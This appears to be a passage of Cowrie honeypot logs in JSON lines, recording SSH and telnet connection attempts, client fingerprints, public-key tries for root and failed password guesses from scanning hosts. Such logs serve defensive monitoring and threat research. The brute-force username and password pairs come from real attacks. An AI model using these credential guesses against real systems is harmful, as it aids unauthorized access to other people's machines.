{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a9:c6:0c:9b:62:1d:f7:ae:ee:3b:d4:97:7a:36:97:16","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDKZLf4rLqTjTw0abhXqE++5X6gat6S+up13swmjagVxeGd8u4Ru6e5MKm+9RKNsmZ8/SSku+e97Q1WHQQHz+W6pgrFQD9weuf4DDruuMNwnXAbqIIpE93wCkinpbxrbRQqTN+N2CCRV2Aj/lJB21NQM8jj5Pizuehspxdvf9+2cJNlgM6L7GmTzJhmfhlsqpfUHvTDVpBGpYxIyB/8r8auZiFB9HBvBDT4Wn2I75qp6ff/YhQ5nQ5pE+Du6WugfHpREsuOCaQtQ8XfwVEo/D3mhxhIFBz2oOvGmgIAxa0Sp9W4DoSjcWFjwiUBn+6ESs3CIz132xzqPDQCi6g5GOon","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:32:06.130202Z","src_ip":"208.115.214.194","session":"e45dd1b544c0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:32:06.209394Z","src_ip":"208.115.214.194","session":"e45dd1b544c0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":54154,"dst_ip":"10.17.0.5","dst_port":23,"session":"773815d1e6d2","protocol":"telnet","message":"New connection: 152.42.224.71:54154 (10.17.0.5:23) [session: 773815d1e6d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:32:11.529354Z"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.112","src_port":38782,"dst_ip":"10.17.0.5","dst_port":22,"session":"0aba2b7c3f00","protocol":"ssh","message":"New connection: 2.57.121.112:38782 (10.17.0.5:22) [session: 0aba2b7c3f00]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:32:44.238442Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:32:44.245669Z","src_ip":"2.57.121.112","session":"0aba2b7c3f00","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:32:44.346317Z","src_ip":"2.57.121.112","session":"0aba2b7c3f00","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"4566","message":"login attempt [admin/4566] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:32:44.819202Z","src_ip":"2.57.121.112","session":"0aba2b7c3f00","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"4500455","message":"login attempt [admin/4500455] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:32:45.923986Z","src_ip":"2.57.121.112","session":"0aba2b7c3f00","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"4444444444","message":"login attempt [admin/4444444444] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:32:47.030326Z","src_ip":"2.57.121.112","session":"0aba2b7c3f00","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"4416","message":"login attempt [admin/4416] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:32:48.135764Z","src_ip":"2.57.121.112","session":"0aba2b7c3f00","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"427cobra","message":"login attempt [admin/427cobra] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:32:49.244479Z","src_ip":"2.57.121.112","session":"0aba2b7c3f00","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:32:50.350321Z","src_ip":"2.57.121.112","session":"0aba2b7c3f00","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"68.235.61.155","src_port":49180,"dst_ip":"10.17.0.5","dst_port":22,"session":"a1697ffa4ea4","protocol":"ssh","message":"New connection: 68.235.61.155:49180 (10.17.0.5:22) [session: a1697ffa4ea4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:32:54.909617Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:32:54.915501Z","src_ip":"68.235.61.155","session":"a1697ffa4ea4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:32:54.947895Z","src_ip":"68.235.61.155","session":"a1697ffa4ea4","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"bd:c8:6b:ef:50:39:de:a0:4a:e9:de:c9:15:d0:da:a0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCk51PGUxuy+kSw2g3mR/M306eZVYzdbmlulmJRwbvjKq1D5ug1PRgY7beaHJrufqMdSOViA+9IQtLXL7l7QotDK0LjSFGs/kQ5LgbR49Ysj1ugTMmgqbA1Szr+0lDc9LHTSGXAV/zlwy3QGXuOedTcrcNP4RJlDhmSefZ9bX4Sep6b+MYkmS+B22xr+CFsDypoRs0KoyN4/Ceq9hWmaFqyGh0+MdslD6Tg/IeQK8l0N4Tnd08zm5PP7OA4kr68XB512YKtJnqiiypSzGTKcMPFbhI+MIVkGWE0Y/W/nhZXuZnBI85mxl1rda4QIB0FxaK/CC8hVBRnHouJrJxZ2cPr","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint bd:c8:6b:ef:50:39:de:a0:4a:e9:de:c9:15:d0:da:a0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:32:55.085190Z","src_ip":"68.235.61.155","session":"a1697ffa4ea4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"bd:c8:6b:ef:50:39:de:a0:4a:e9:de:c9:15:d0:da:a0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCk51PGUxuy+kSw2g3mR/M306eZVYzdbmlulmJRwbvjKq1D5ug1PRgY7beaHJrufqMdSOViA+9IQtLXL7l7QotDK0LjSFGs/kQ5LgbR49Ysj1ugTMmgqbA1Szr+0lDc9LHTSGXAV/zlwy3QGXuOedTcrcNP4RJlDhmSefZ9bX4Sep6b+MYkmS+B22xr+CFsDypoRs0KoyN4/Ceq9hWmaFqyGh0+MdslD6Tg/IeQK8l0N4Tnd08zm5PP7OA4kr68XB512YKtJnqiiypSzGTKcMPFbhI+MIVkGWE0Y/W/nhZXuZnBI85mxl1rda4QIB0FxaK/CC8hVBRnHouJrJxZ2cPr","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:32:55.091800Z","src_ip":"68.235.61.155","session":"a1697ffa4ea4","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"4a:da:da:ad:0f:1b:ff:9e:4f:37:0d:40:f5:3d:51:1d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDru1ZJ1JzwiQ+53oXmfrrkE4BU4sWZD2osix5qK4KJCHuXBeWV00IOS3oCDAvORCqZzCPPioeuuIYvwQxAbh70Xi2C/ryOzpUfWg7VO1Juob8/W391ziZufas21+spd8YEYxMsCPLiAKqs700rNJ76aiqLxBFTLsAh9vJHlP06DECesn/6hW7l1PeciHukDsBqC0Ssxn7BnqGBjmSTbOwH1I4Bh3H5jPFfjQSIt2lut2jZtDTv7un0xocJSpJklHJW88j8wG6oabGb/NG3lGgwa9Iff/lz2RBE02QpFfmULbABwT3mb/gyV5ar1zfI4KQDzLwzqUWSlgJ2a8oGdU3d","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 4a:da:da:ad:0f:1b:ff:9e:4f:37:0d:40:f5:3d:51:1d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:32:55.125933Z","src_ip":"68.235.61.155","session":"a1697ffa4ea4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"4a:da:da:ad:0f:1b:ff:9e:4f:37:0d:40:f5:3d:51:1d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDru1ZJ1JzwiQ+53oXmfrrkE4BU4sWZD2osix5qK4KJCHuXBeWV00IOS3oCDAvORCqZzCPPioeuuIYvwQxAbh70Xi2C/ryOzpUfWg7VO1Juob8/W391ziZufas21+spd8YEYxMsCPLiAKqs700rNJ76aiqLxBFTLsAh9vJHlP06DECesn/6hW7l1PeciHukDsBqC0Ssxn7BnqGBjmSTbOwH1I4Bh3H5jPFfjQSIt2lut2jZtDTv7un0xocJSpJklHJW88j8wG6oabGb/NG3lGgwa9Iff/lz2RBE02QpFfmULbABwT3mb/gyV5ar1zfI4KQDzLwzqUWSlgJ2a8oGdU3d","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:32:55.132688Z","src_ip":"68.235.61.155","session":"a1697ffa4ea4","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"10:35:0d:70:04:89:31:68:1d:80:f4:fa:b9:57:5f:b1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCdB+Ju7TCN30VcxXX4EXBgN6LxbnSA9tgazEKqnOgP7euO7a7UpQffcfIvsuX6rqOHktr49tIMe62TN4YF1A5LNY/pGW8sYAtceX96pjlPDmqa7ah8RI9nfMCxjHhb9jHF7f5Vy3c9OkrollsTOHhbuKxCr/GD/l0RL5YJz4uMUG7GkeSs+c2dE2vm4j1lP0yAGLQZ4rK0zQsalTtksT7wcgS0ErkKC5ob3Z4Tgsssd9D624CWkhi+xOvSF2zjYptZiSL0OiJ7sjLoDJ/bpX7N/3otryS7MYppwU4mBcp/RQNOXyTWNXP3M/bto6YQJtJhGYjVNukSIE2KywUnEivL","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 10:35:0d:70:04:89:31:68:1d:80:f4:fa:b9:57:5f:b1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:32:55.173863Z","src_ip":"68.235.61.155","session":"a1697ffa4ea4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"10:35:0d:70:04:89:31:68:1d:80:f4:fa:b9:57:5f:b1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCdB+Ju7TCN30VcxXX4EXBgN6LxbnSA9tgazEKqnOgP7euO7a7UpQffcfIvsuX6rqOHktr49tIMe62TN4YF1A5LNY/pGW8sYAtceX96pjlPDmqa7ah8RI9nfMCxjHhb9jHF7f5Vy3c9OkrollsTOHhbuKxCr/GD/l0RL5YJz4uMUG7GkeSs+c2dE2vm4j1lP0yAGLQZ4rK0zQsalTtksT7wcgS0ErkKC5ob3Z4Tgsssd9D624CWkhi+xOvSF2zjYptZiSL0OiJ7sjLoDJ/bpX7N/3otryS7MYppwU4mBcp/RQNOXyTWNXP3M/bto6YQJtJhGYjVNukSIE2KywUnEivL","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:32:55.177958Z","src_ip":"68.235.61.155","session":"a1697ffa4ea4","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"51:23:ef:0d:64:b8:f9:10:8e:12:24:5d:8a:3a:57:09","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA1l4qTS1sJrWnJSWBeye7J+yln7iidpnp5IuUeA3K5uysdTmNz/lBSc4fFr1RqhjBBEjX/cz7JSMC5VJi8Cqg2dAtcqy2rF4gaMCzrlD8RXuFouypMGx/85Jj1B0KDi5n8NW5IXhYuZfLoZ7Ks87pVLwiGpGvHmilK8IpOAnzkff7jMkijdsKr7gJz0KTscj35nJbAgeQMcVp2bFCNkq4OLw+IDjR88r9LQVOf10zjWDY0sqGc946PV34KKPffBuHlxXTsC3pXEofl4ZetOn5kTggd4X3DGn2t5Juj+7HhPKlrjQprLOfF8ZnZbRHMyNQPGMOXTUZzEwXrzfGBJsRUw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 51:23:ef:0d:64:b8:f9:10:8e:12:24:5d:8a:3a:57:09","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:32:55.215352Z","src_ip":"68.235.61.155","session":"a1697ffa4ea4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"51:23:ef:0d:64:b8:f9:10:8e:12:24:5d:8a:3a:57:09","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA1l4qTS1sJrWnJSWBeye7J+yln7iidpnp5IuUeA3K5uysdTmNz/lBSc4fFr1RqhjBBEjX/cz7JSMC5VJi8Cqg2dAtcqy2rF4gaMCzrlD8RXuFouypMGx/85Jj1B0KDi5n8NW5IXhYuZfLoZ7Ks87pVLwiGpGvHmilK8IpOAnzkff7jMkijdsKr7gJz0KTscj35nJbAgeQMcVp2bFCNkq4OLw+IDjR88r9LQVOf10zjWDY0sqGc946PV34KKPffBuHlxXTsC3pXEofl4ZetOn5kTggd4X3DGn2t5Juj+7HhPKlrjQprLOfF8ZnZbRHMyNQPGMOXTUZzEwXrzfGBJsRUw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:32:55.223414Z","src_ip":"68.235.61.155","session":"a1697ffa4ea4","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"29:91:38:cd:d5:a9:63:fd:8e:19:b4:8f:c5:02:2b:22","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBiTcTL92SF4NQWzwp1aRLKrKtu1CPjXYwonF6IQE1Np","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 29:91:38:cd:d5:a9:63:fd:8e:19:b4:8f:c5:02:2b:22","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:32:55.257704Z","src_ip":"68.235.61.155","session":"a1697ffa4ea4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"29:91:38:cd:d5:a9:63:fd:8e:19:b4:8f:c5:02:2b:22","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBiTcTL92SF4NQWzwp1aRLKrKtu1CPjXYwonF6IQE1Np","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:32:55.262631Z","src_ip":"68.235.61.155","session":"a1697ffa4ea4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.4","message":"Connection lost after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:32:55.298125Z","src_ip":"68.235.61.155","session":"a1697ffa4ea4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":69.29644894599915,"message":"Connection lost after 69 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:33:20.825665Z","src_ip":"152.42.224.71","session":"773815d1e6d2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"89.223.69.22","src_port":56178,"dst_ip":"159.203.135.109","dst_port":22,"session":"5408b57e25be","protocol":"ssh","message":"New connection: 89.223.69.22:56178 (159.203.135.109:22) [session: 5408b57e25be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:33:24.683251Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:33:24.689650Z","src_ip":"89.223.69.22","session":"5408b57e25be","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:33:24.811289Z","src_ip":"89.223.69.22","session":"5408b57e25be","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"d123456","message":"login attempt [root/d123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:33:25.159850Z","src_ip":"89.223.69.22","session":"5408b57e25be","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:33:26.277465Z","src_ip":"89.223.69.22","session":"5408b57e25be","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.62.83","src_port":55628,"dst_ip":"159.203.135.109","dst_port":22,"session":"9d3ad69a5449","protocol":"ssh","message":"New connection: 62.133.62.83:55628 (159.203.135.109:22) [session: 9d3ad69a5449]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:33:26.625548Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:33:26.630467Z","src_ip":"62.133.62.83","session":"9d3ad69a5449","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:33:26.710382Z","src_ip":"62.133.62.83","session":"9d3ad69a5449","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123asd123","message":"login attempt [root/123asd123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:33:26.950396Z","src_ip":"62.133.62.83","session":"9d3ad69a5449","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:33:28.032988Z","src_ip":"62.133.62.83","session":"9d3ad69a5449","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":47356,"dst_ip":"10.17.0.5","dst_port":22,"session":"e2bc854badde","protocol":"ssh","message":"New connection: 2.57.121.25:47356 (10.17.0.5:22) [session: e2bc854badde]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:33:35.059824Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T20:33:35.065158Z","src_ip":"2.57.121.25","session":"e2bc854badde","protocol":"ssh"}
